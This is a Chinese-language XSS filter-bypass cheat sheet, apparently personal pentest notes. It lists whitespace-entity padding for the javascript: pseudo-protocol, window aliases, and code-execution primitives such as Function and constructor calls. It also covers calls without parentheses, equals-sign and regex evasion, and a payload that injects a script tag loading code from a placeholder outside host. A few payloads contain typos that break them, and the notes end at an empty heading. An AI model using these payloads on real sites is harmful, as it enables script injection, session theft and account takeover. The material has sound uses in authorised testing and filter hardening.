XSS Bypass Cheat Sheet

0x00 测试思路

  1. 看过滤的标签: <script>
  2. 看过滤的关键字,过滤的事件:javascript:
  3. 尝试编码
  4. 尝试添加空白符、单双引号、标签等进行干扰
  5. 超长字符串bypass测试
  6. 可以写js代码后自由发挥

0x01 参考

0x02 具体的技巧

构建数据流

  • a=alert;a();
  • Object.values(window)
  • 字符串拼接

javascript伪协议前可以填补空白符

  • &#01;
  • &#02; …… &#32;
  • &Tab;
  • &NewLine;
  • &#x00000001
  • &#x00000001 …….. &#x00000020
  • &#x0000000000000a; ….&#x000000000e;

javascript中间可以填补的空白符

  • &Tab;
  • &NewLine;
  • &#09;
  • &#x0a;
  • ……

代替window的关键字

  • self
  • top
  • this
  • globalThis

可以执行代码payload

  • find.constructor("alert(1)")()
  • [].fill.constructor("alert(1)")()
  • eval
  • setTimeout
  • setInterval('alert(1)')
  • Function('alert(1)')()
  • document.body.innerHTML = "<script>alert(1)</script>"

属性的获取

  • 使用点, window.alert
  • 使用中括号, window['ale' + 'at']

简单的利用payload

  • eval("/*"+lication.hash) , location.hash里面需要以*/ 开头,将井号闭合掉
  • document.body.innerHTML = "<script src="http://xxxx.com"></script>"
  • document.write("<img/src=x>")
  • documehnt.append

函数执行的变换

  • alert?.(1)
  • eval.valueOf()('alert(1);')
  • alert.bind()(1)
  • Reflect.apply(alert, null, [1])
  • Promise.all([1]).then(alert)
  • Set.constructor()()

禁止使用括号

  • innerHTML赋值
  • throw隐形调用, var{a:onerror=alert}=0;throw 1
  • valueOf=alert;this-1

等号绕过

可能限制 a = window这种直接赋值

  • a = [window]
  • b = (1, window) 逗号操作符,取最后一个
  • a = { b : window }
  • a ??= window 逻辑操作符: ||=
  • 条件三元表达式

也有可能是正则表达式,禁止数字或者字母连着括号,可以使用unicode代替

  • \u1630=alert;\u1630();
  • \u1fa9=alert;\u1fa9();

编码